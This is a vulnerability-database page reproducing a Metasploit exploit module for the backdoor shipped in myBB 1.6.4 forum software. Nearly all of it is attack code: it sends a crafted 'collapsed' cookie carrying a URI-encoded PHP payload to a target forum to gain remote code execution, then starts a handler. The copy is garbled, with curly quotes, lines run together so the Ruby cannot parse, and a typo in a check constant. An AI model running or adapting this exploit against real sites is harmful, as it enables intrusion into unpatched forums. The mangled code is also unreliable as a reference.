ZeroBox Vulnerability Database

##
# $Id: mybb_backdoor.rb 13838 2011-10-09 03:22:07Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => ‘myBB 1.6.4 Backdoor Exploit’,
‘Description’ => %q{
myBB is a popular open source PHP forum software. Version 1.6.4 contained an
unauthorized backdoor, distributed as part of the vendor’s source package.
},
‘Author’ =>
[
‘tdz’,
],
‘License’ => MSF_LICENSE,
‘Version’ => ‘$Revision: 13838 $’,
‘References’ =>
[
[ ‘BID’, ‘49993’ ],
[ ‘SECUNIA’, ‘46300’ ],
[ ‘URL’, ‘http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/’ ]
],
‘Privileged’ => false,
‘Platform’ => [‘php’],
‘Arch’ => ARCH_PHP,
‘Payload’ =>
{
‘Space’ => 4000,
‘DisableNops’ => true,
‘Keys’ => [‘php’],
},
‘Targets’ => [ [‘Automatic’, { }], ],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘Oct 06 2011’
))

register_options(
[
OptString.new(‘URI’, [ true, “myBB path”, ‘/index.php’]),
], self.class)
end

def uri
datastore[‘URI’]
end

def check
print_status(“Checking target”)
res = send_request_raw(
{‘method’ => ‘GET’,
‘uri’ => uri},
10
)
if (not res) or (not res.code.between?(200,299))
return Exploit::CheckCode::Safe
else
return Exploit::CheckCoke::Detected
end
end

def exploit

print_status(“Sending exploit request”)

# See the patch at http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt
# for details of the backdoor mechanism.
cookie = “collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|”
cookie << Rex::Text.uri_encode(payload.encoded) response = send_request_raw({ 'method' => ‘GET’,
‘global’ => true,
‘uri’ => uri,
‘headers’ =>
{
‘Cookie’ => cookie,
}
},10)

if (not response) or (not response.code.between?(200,299))
print_error “Cannot connect to #{uri} on #{datastore[‘RHOST’]}, got #{response ? response.code : ‘no response’}.”
else
handler
end

end
end